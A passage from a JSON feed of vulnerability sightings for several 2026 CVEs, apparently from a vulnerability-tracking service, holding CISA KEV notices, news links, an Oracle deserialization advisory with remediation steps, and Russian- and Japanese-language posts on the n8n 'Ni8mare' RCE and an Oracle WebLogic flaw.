"e7726c3e-44c9-4706-b1f7-a7b2d8e5c758", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "published-proof-of-concept", "source": "https://t.me/thebugbountyhunter/10688", "content": "Ni8mare\u200a - \u200aUnauthenticated Remote Code Execution in n8n (CVE-2026-21858)\n\nhttps://www.cyera.com/research/ni8mare-unauthenticated-remote-code-execution-in-n8n-cve-2026-21858", "creation_timestamp": "2026-09-17T23:00:04.469948Z"}, {"uuid": "5633e6d0-06ae-4bb4-a958-b1695370019e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://t.me/VulnerabilityNews/44140", "content": "CISA Adds One Known Exploited Vulnerability to Catalog\n\nCISA has added one new vulnerability to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation. \u00a0\nCVE-2026-21962 Oracle HTTP Server and Oracle Weblogic Server Proxy Plug-in Improper Access Control Vulnerability\nThis type of vulnerability is a frequent attack vector for malicious cyber actors and poses significant risks to the federal enterprise.\nBinding Operational Directive (BOD) 26-04: Prioritizing Security Updates Based on Risk establishes vulnerability management requirements for Federal Civilian Executive Branch (FCEB) agencies. BOD 26-04 reinforces the importance of the KEV Catalog and requires federal agencies to prioritize rapid remediation of high-risk vulnerabilities, specifically those identified by Common Vulnerabilities and Exposures (CVEs) listed in CISA\u2019s KEV Catalog on publicly exposed assets that grant total control of the asset post-exploitation, while deferring action for lower-risk vulnerabilities. BOD 26-04 further establishes basic expectations for when agencies must check whether threat actors compromised the system before the patch was applied.\nWhile BOD 26-04 applies only to FCEB agencies, CISA encourages all organizations to adopt risk-based vulnerability management and prioritize remediation of KEV Catalog vulnerabilities. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.\nAware of an exploited vulnerability not currently listed in the KEV Catalog? Submit it for potential addition through CISA\u2019s KEV Nomination Form. Potential KEV additions must have a CVE ID, evidence of exploitation, and clear mitigation guidance.\nhttps://www.cisa.gov/news-events/alerts/2026/08/24/cisa-adds-one-known-exploited-vulnerability-catalog", "creation_timestamp": "2026-09-18T12:00:06.198123Z"}, {"uuid": "941ad7cc-44c6-4fea-8af0-78829eae56e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://t.me/VulnerabilityNews/44159", "content": "CISA Warns of Exploited Oracle WebLogic Vulnerability\n\nThe vulnerability is tracked as CVE-2026-21962 and it has been widely exploited by threat actors against WebLogic servers.\nThe post CISA Warns of Exploited Oracle WebLogic Vulnerability appeared first on SecurityWeek.\nhttps://www.securityweek.com/cisa-warns-of-exploited-oracle-weblogic-vulnerability/", "creation_timestamp": "2026-09-18T12:00:06.341091Z"}, {"uuid": "a1524b3e-b2a6-471c-a694-8750879f22c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "exploited", "source": "https://t.me/VulnerabilityNews/44159", "content": "CISA Warns of Exploited Oracle WebLogic Vulnerability\n\nThe vulnerability is tracked as CVE-2026-21962 and it has been widely exploited by threat actors against WebLogic servers.\nThe post CISA Warns of Exploited Oracle WebLogic Vulnerability appeared first on SecurityWeek.\nhttps://www.securityweek.com/cisa-warns-of-exploited-oracle-weblogic-vulnerability/", "creation_timestamp": "2026-09-19T00:00:35.302088Z"}, {"uuid": "e752829e-12d3-40f4-a6c7-ed12c77f7e9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "exploited", "source": "https://t.me/VulnerabilityNews/44140", "content": "CISA Adds One Known Exploited Vulnerability to Catalog\n\nCISA has added one new vulnerability to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation. \u00a0\nCVE-2026-21962 Oracle HTTP Server and Oracle Weblogic Server Proxy Plug-in Improper Access Control Vulnerability\nThis type of vulnerability is a frequent attack vector for malicious cyber actors and poses significant risks to the federal enterprise.\nBinding Operational Directive (BOD) 26-04: Prioritizing Security Updates Based on Risk establishes vulnerability management requirements for Federal Civilian Executive Branch (FCEB) agencies. BOD 26-04 reinforces the importance of the KEV Catalog and requires federal agencies to prioritize rapid remediation of high-risk vulnerabilities, specifically those identified by Common Vulnerabilities and Exposures (CVEs) listed in CISA\u2019s KEV Catalog on publicly exposed assets that grant total control of the asset post-exploitation, while deferring action for lower-risk vulnerabilities. BOD 26-04 further establishes basic expectations for when agencies must check whether threat actors compromised the system before the patch was applied.\nWhile BOD 26-04 applies only to FCEB agencies, CISA encourages all organizations to adopt risk-based vulnerability management and prioritize remediation of KEV Catalog vulnerabilities. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.\nAware of an exploited vulnerability not currently listed in the KEV Catalog? Submit it for potential addition through CISA\u2019s KEV Nomination Form. Potential KEV additions must have a CVE ID, evidence of exploitation, and clear mitigation guidance.\nhttps://www.cisa.gov/news-events/alerts/2026/08/24/cisa-adds-one-known-exploited-vulnerability-catalog", "creation_timestamp": "2026-09-19T00:00:35.446074Z"}, {"uuid": "157d1316-c7f9-4054-ba22-dd28423f63f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21806", "type": "seen", "source": "https://bsky.app/profile/cybersecinsight.bsky.social/post/3mvulwh62ov2e", "content": "\ud83d\udd0d Vulnerability Spotlight | Part 2/3\n\n\u26a0\ufe0f CVE-2026-21806\n\nHCL BigFix Service Management is affected by an Administrative Session Concurrency vulnerability. The application allows multiple simultaneous auth...", "creation_timestamp": "2026-09-19T11:39:39.113398Z"}, {"uuid": "b48d442b-f94e-484c-be6e-7640f8e3cdb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-20)", "content": "", "creation_timestamp": "2026-09-21T10:15:07.862575Z"}, {"uuid": "3922cf07-f522-4925-8f5b-cd20d7679f01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "https://t.me/Noheartz1337/136", "content": "https://github.com/0xBlackash/CVE-2026-21643", "creation_timestamp": "2026-09-22T05:00:05.006121Z"}, {"uuid": "5f6c4d1a-3f4b-4d39-8cba-e00ae95081e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 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Server\u30d7\u30ed\u30ad\u30b7\u30d7\u30e9\u30b0\u30a4\u30f3\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u307e\u3059\u3002\n\n\u3053\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30db\u30fc\u30eb\u306f\u8a8d\u8a3c\u306a\u3057\u3067\u60aa\u7528\u3055\u308c\u3001\u5f71\u97ff\u3092\u53d7\u3051\u308b\u30b5\u30fc\u30d0\u30fc\u3078\u306e\u30cf\u30c3\u30ad\u30f3\u30b0\u306b\u60aa\u7528\u3055\u308c...", "creation_timestamp": "2026-09-24T22:30:36.169090Z"}, {"uuid": "f993c6b1-2661-4380-a196-b85438da543e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mwccocqauk2t", "content": "\u7c73\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u304c\u3001Oracle\u306e\u8106\u5f31\u6027\u306b\u95a2\u3059\u308b\u6700\u9ad8\u30ec\u30d9\u30eb\u306e\u8106\u5f31\u6027\u3092\u65e2\u77e5\u306e\u60aa\u7528\u4e8b\u4f8b\u30ea\u30b9\u30c8\u306b\u8ffd\u52a0\n\n\u7c73\u56fd\u306e\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09 \u306f\u3001 Oracle HTTP Server\u304a\u3088\u3073Oracle Weblogic Server\u30d7\u30ed\u30ad\u30b7\u30d7\u30e9\u30b0\u30a4\u30f3\u306e\u8106\u5f31\u6027\uff08CVE-2026-21962\u3001CVSS\u30b9\u30b3\u30a210.0\uff09\u3092\u3001\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\uff08KEV\uff09\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u307e\u3057\u305f\u3002\n\nCVE-2026-21962\u306f\u3001Oracle HTTP Server\u304a\u3088\u3073Apache HTTP Server\u3068IIS\u7528\u306eOra...", "creation_timestamp": "2026-09-24T22:31:20.291753Z"}, {"uuid": "c26df44e-2a29-4038-823b-c9642efba475", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "published-proof-of-concept", "source": "Telegram/EszNPVVIzXp3n6AoB13pEkfuik6dbcMiblRo0eqv8THktIM", "content": "", "creation_timestamp": "2026-09-23T04:39:17.000000Z"}, {"uuid": "d1726051-c76a-44ec-8c08-a6d73356bc1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mwd5ma6ius2o", "content": "Top 3 CVE for last 7 days:\nCVE-2026-86296: 25 interactions\nCVE-2026-7273: 20 interactions\nCVE-2026-87902: 20 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-87902: 11 interactions\nCVE-2026-94127: 9 interactions\nCVE-2026-21962: 5 interactions\n", "creation_timestamp": "2026-09-25T06:33:20.448893Z"}, {"uuid": "a651e492-a0e7-424b-8510-83e1c5ee7f8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-21992", "type": "seen", "source": "https://gist.github.com/alon710/fc43293a5a5029c6afca9e5474e9378c", "content": "# CVE-2026-21992: Oracle Fusion Middleware Security Alert Advisory - CVE-2026-21992\n\n> **CVSS Score:** 9.8\n> **Published:** 2026-03-20\n> **Full Report:** https://cvereports.com/reports/CVE-2026-21992\n\n## Summary\nCVE-2026-21992 is a critical, unauthenticated remote code execution (RCE) vulnerability affecting the REST WebServices component of Oracle Identity Manager (OIM) and the Web Services Security component of Oracle Web Services Manager (OWSM). Exploitation occurs over standard network protocols without user interaction, enabling a complete compromise of target system infrastructure.\n\n## TL;DR\nCritical unauthenticated remote code execution vulnerability in Oracle Identity Manager and Oracle Web Services Manager via unsafe Java deserialization, carrying a CVSS score of 9.8.\n\n## Technical Details\n\n- **CWE ID**: CWE-502 (Deserialization of Untrusted Data)\n- **Attack Vector**: Network (AV:N)\n- **CVSS v3.1 Base Score**: 9.8\n- **EPSS Score**: 0.01008 (Percentile: 61.44%)\n- **Exploit Status**: No public exploit available (none)\n- **CISA KEV Status**: Not Listed\n- **Affected Components**: REST WebServices, Web Services Security\n\n## Affected Systems\n\n- Oracle Identity Manager REST WebServices\n- Oracle Web Services Manager Web Services Security\n- **Oracle Identity Manager**: 12.2.1.4.0, 14.1.2.1.0 (Fixed in: `Refer to KB878741`)\n- **Oracle Web Services Manager**: 12.2.1.4.0, 14.1.2.1.0 (Fixed in: `Refer to KB878741`)\n\n## Mitigation\n\n- Apply official Oracle security updates immediately.\n- Establish strict global JEP 290 filters using the recommended Oracle blocklist configurations.\n- Implement network segmentation to restrict HTTP access to Oracle Identity Manager and Web Services Manager interfaces.\n\n**Remediation Steps:**\n1. Identify vulnerable systems running OIM and OWSM versions 12.2.1.4.0 or 14.1.2.1.0.\n2. Download the official patches corresponding to Oracle Bug ID 38965612 and 39023318 via Support Note KB878741.\n3. Deploy the updates to the WebLogic/Fusion Middleware infrastructure following standard OPatch procedures.\n4. Configure Java system properties to enforce the JEP 290 reference filter rules as outlined in Support Note 2591118.\n5. Validate the exclusion of Java serialization sequences from perimeter HTTP requests using firewall and WAF enforcement.\n\n## References\n\n- [Official Oracle HTML Advisory](https://www.oracle.com/security-alerts/alert-cve-2026-21992.html)\n- [Official Verbose Advisory Risk Matrices](https://www.oracle.com/security-alerts/cve-2026-21992verbose.html)\n- [Official Oracle CSAF JSON](https://www.oracle.com/docs/tech/security-alerts/cve-2026-21992csaf.json)\n- [CVE Record Database](https://www.cve.org/CVERecord?id=CVE-2026-21992)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-21992) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-09-25T09:30:28.000000Z"}, {"uuid": "c360af65-e6e9-44ae-91bf-1c3597a2c246", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "seen", "source": "Telegram/m0gM_atfsRcN6eetpCZSTGZKXonXTqvCWBaYczSpwKnNwvg", "content": "", "creation_timestamp": "2026-09-25T09:22:49.000000Z"}, {"uuid": "bfd25cab-7bdb-4d1f-91d1-34d64a767073", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "published-proof-of-concept", "source": "Telegram/m0gM_atfsRcN6eetpCZSTGZKXonXTqvCWBaYczSpwKnNwvg", "content": "", "creation_timestamp": "2026-09-25T09:22:49.000000Z"}, {"uuid": "df0b2b34-8a60-4721-b1e1-da529980f132", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "seen", "source": "https://t.me/thehaking/3066", "content": "\ud83d\udd77 Ni8mare: \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 n8n (10/10 \u043f\u043e CVSS)\n\n\u0415\u0441\u043b\u0438 \u0432\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0435 n8n \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 (self-hosted \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 Zapier), \u0431\u0440\u043e\u0441\u0430\u0439\u0442\u0435 \u0432\u0441\u0451 \u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0439\u0442\u0435\u0441\u044c. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u0434\u0435\u0442\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-21858, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0435\u0439 \u0438\u043c\u044f Ni8mare.\n\n\u0412 \u0441\u0442\u0430\u0440\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 n8n \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0434\u044b\u0440\u0430, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 (RCE) \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\u0414\u0435\u0442\u0430\u043b\u0438:\n\ud83d\udd3b \u0421\u0443\u0442\u044c \u0431\u0430\u0433\u0430: \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0432\u0435\u0431\u0445\u0443\u043a\u043e\u0432 \u0438 \u0444\u043e\u0440\u043c. \u041f\u0430\u0440\u0441\u0435\u0440 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 Content-Type \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 multipart/form-data.\n\ud83d\udd3b \u0412\u0435\u043a\u0442\u043e\u0440 \u0430\u0442\u0430\u043a\u0438: \u0425\u0430\u043a\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 JSON-\u043e\u0431\u044a\u0435\u043a\u0442\u044b, \u043f\u0440\u043e\u0441\u0442\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0432\u0435\u0431\u0445\u0443\u043a. \u042d\u0442\u043e \u0434\u0430\u0435\u0442 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u043e\u043c.\n\ud83d\udd3b \u0418\u043c\u043f\u0430\u043a\u0442: n8n \u0447\u0430\u0441\u0442\u043e \u0445\u0440\u0430\u043d\u0438\u0442 \u043a\u043b\u044e\u0447\u0438 API \u043e\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 (Slack, AWS, Google Drive, CRM). \u0417\u0430\u0445\u0432\u0430\u0442 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 = \u0443\u0442\u0435\u0447\u043a\u0430 \u0432\u0441\u0435\u0445 \u0432\u0430\u0448\u0438\u0445 \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432.\n\n\u041a\u0442\u043e \u043f\u043e\u0434 \u0443\u0434\u0430\u0440\u043e\u043c:\n\u0412\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 n8n \u0434\u043e 1.65.0 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e.\n\n\u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c:\n\u0421\u0440\u043e\u0447\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 1.121.0 \u0438\u043b\u0438 \u043d\u043e\u0432\u0435\u0435. \u041f\u0430\u0442\u0447 \u0431\u044b\u043b \u0432\u044b\u043f\u0443\u0449\u0435\u043d \u0435\u0449\u0435 \u0432 \u043d\u043e\u044f\u0431\u0440\u0435 2025-\u0433\u043e, \u043d\u043e \u0434\u0435\u0442\u0430\u043b\u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0435\u0439\u0447\u0430\u0441.\n\n\ud83d\udd17 \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430: https://xakep.ru/2026/01/12/ni8mare\n\n#\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #\u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 #n8n #RCE #Ni8mare\n\n\ud83d\udcf2 \u041c\u044b \u0432 MAX\n\n\ud83d\udc49@thehaking", "creation_timestamp": "2026-01-12T09:37:49.000000Z"}, {"uuid": "473f19b2-90af-4a02-8e06-5ac2ce7977f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21385", "type": "seen", "source": "Telegram/wVL86bhSeD929KHkSbHPzbGZ30yszix_oX1MjDHixf14qbST", "content": "", "creation_timestamp": "2026-03-03T08:24:41.000000Z"}, {"uuid": "d60fb80e-5cfd-4c00-b644-5b589cddd449", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21513", "type": "seen", "source": "Telegram/P0HHH419YTUvkQ8cCSNeUDSusVqggmPLbgwrLXf2nXL-pkCT", "content": "", "creation_timestamp": "2026-03-02T14:18:16.000000Z"}, {"uuid": "54af972f-e509-40f7-9292-495dc6c2c60a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "seen", "source": "Telegram/R-kf2DZfHpJCXywakyF-BKa9T23i3tfyH7YPUD9xwjc4cxzu", "content": "", "creation_timestamp": "2026-02-03T10:33:23.000000Z"}, {"uuid": "434420b7-d65e-465d-aea7-84cf59cc9703", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "seen", "source": "Telegram/28Oa4n__7_eFN7np96Dl6h6hgu8IxV-Muu3Oeog9UrsUcvaT", "content": "", "creation_timestamp": "2026-01-27T09:07:49.000000Z"}, {"uuid": "82307a8d-9b98-47ca-99b9-d5ee8dc14124", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "exploited", "source": "Telegram/R-kf2DZfHpJCXywakyF-BKa9T23i3tfyH7YPUD9xwjc4cxzu", "content": "", "creation_timestamp": "2026-02-03T10:33:23.000000Z"}, {"uuid": "2156f6b8-eb9b-431f-93dc-0d05e4563001", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21513", "type": "exploited", "source": "Telegram/P0HHH419YTUvkQ8cCSNeUDSusVqggmPLbgwrLXf2nXL-pkCT", "content": "", "creation_timestamp": "2026-03-02T14:18:16.000000Z"}, {"uuid": "505a1fb8-7518-471d-afe9-7fc4081b842e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21385", "type": "exploited", "source": "Telegram/wVL86bhSeD929KHkSbHPzbGZ30yszix_oX1MjDHixf14qbST", "content": "", "creation_timestamp": "2026-03-03T08:24:41.000000Z"}, {"uuid": "59514db0-f36d-4f61-af1c-334a08939656", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "published-proof-of-concept", "source": "https://t.me/thehaking/3066", "content": "\ud83d\udd77 Ni8mare: \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 n8n (10/10 \u043f\u043e CVSS)\n\n\u0415\u0441\u043b\u0438 \u0432\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0435 n8n \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 (self-hosted \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 Zapier), \u0431\u0440\u043e\u0441\u0430\u0439\u0442\u0435 \u0432\u0441\u0451 \u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0439\u0442\u0435\u0441\u044c. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u0434\u0435\u0442\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-21858, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0435\u0439 \u0438\u043c\u044f Ni8mare.\n\n\u0412 \u0441\u0442\u0430\u0440\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 n8n \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0434\u044b\u0440\u0430, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 (RCE) \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\u0414\u0435\u0442\u0430\u043b\u0438:\n\ud83d\udd3b \u0421\u0443\u0442\u044c \u0431\u0430\u0433\u0430: \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0432\u0435\u0431\u0445\u0443\u043a\u043e\u0432 \u0438 \u0444\u043e\u0440\u043c. \u041f\u0430\u0440\u0441\u0435\u0440 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 Content-Type \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 multipart/form-data.\n\ud83d\udd3b \u0412\u0435\u043a\u0442\u043e\u0440 \u0430\u0442\u0430\u043a\u0438: \u0425\u0430\u043a\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 JSON-\u043e\u0431\u044a\u0435\u043a\u0442\u044b, \u043f\u0440\u043e\u0441\u0442\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 